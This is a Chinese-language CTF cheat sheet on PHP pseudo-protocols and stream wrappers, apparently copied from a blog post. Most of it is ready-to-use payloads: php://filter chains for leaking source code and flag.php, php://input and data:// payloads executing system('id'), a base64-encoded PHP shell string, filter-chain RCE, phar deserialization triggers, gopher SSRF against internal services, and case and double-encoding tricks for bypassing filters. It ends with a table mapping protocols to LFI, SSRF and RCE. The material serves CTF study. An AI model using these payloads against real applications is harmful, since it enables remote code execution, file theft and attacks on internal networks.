CTF 伪协议

协议	用途	示例
`file://`	读取本地文件	`file:///etc/passwd`
`php://filter`	读取PHP文件源码（绕过include执行）	`php://filter/read=convert.base64-encode/resource=index.php`
`php://input`	读取POST原始数据，配合文件包含执行代码	`?file=php://input` + POST: `<?php system('id');?>`
`data://`	直接传入数据执行	`data://text/plain,<?php system('id');?>`
`zip://`	读取zip内文件	`zip:///tmp/a.zip#shell.php`
`phar://`	读取phar内文件，可触发反序列化	`phar:///tmp/a.phar/a.txt`
`expect://`	执行系统命令（需扩展）	`expect://id`
`dict://`	探测端口/服务	`dict://127.0.0.1:6379/info`
`gopher://`	发送任意TCP数据（SSRF神器）	`gopher://127.0.0.1:80/_GET / HTTP/1.1...`
`http(s)://`	标准HTTP请求，常用于SSRF	`http://内网IP/`
`ftp://`	FTP协议	`ftp://user:pass@host/file`

bash 复制代码

php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php

bash 复制代码

php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php

bash 复制代码

php://filter/write=convert.base64-decode/resource=shell.php

利用 iconv 等 filter 链构造任意字符串，实现 RCE：

bash 复制代码

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|.../resource=/dev/null

工具：php_filter_chain_generator

ruby 复制代码

data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

攻击内网服务，格式：gopher://host:port/_<URL编码的数据>

scss 复制代码

// 触发点示例
file_exists("phar:///upload/shell.gif");

bash 复制代码

php://filter/read=convert.base64-encode/resource=flag.php

php 复制代码

data:%2f%2ftext/plain,<?php...?>

perl 复制代码

gopher://127.0.0.1:80/_%2547%2545%2554   # 双重URL编码 GET

ruby 复制代码

DATA://text/plain,<?php...?>
Php://filter/...
FILE:///etc/passwd

bash 复制代码

php://filter/resource=php://filter/read=convert.base64-encode/resource=flag.php

漏洞场景	推荐协议
文件包含（LFI）	`php://filter`, `php://input`, `data://`, `phar://`, `zip://`
SSRF	`gopher://`, `dict://`, `file://`, `http://`
任意文件读取	`file://`, `php://filter`
RCE	`php://input`, `data://`, `expect://`, filter链
反序列化触发	`phar://`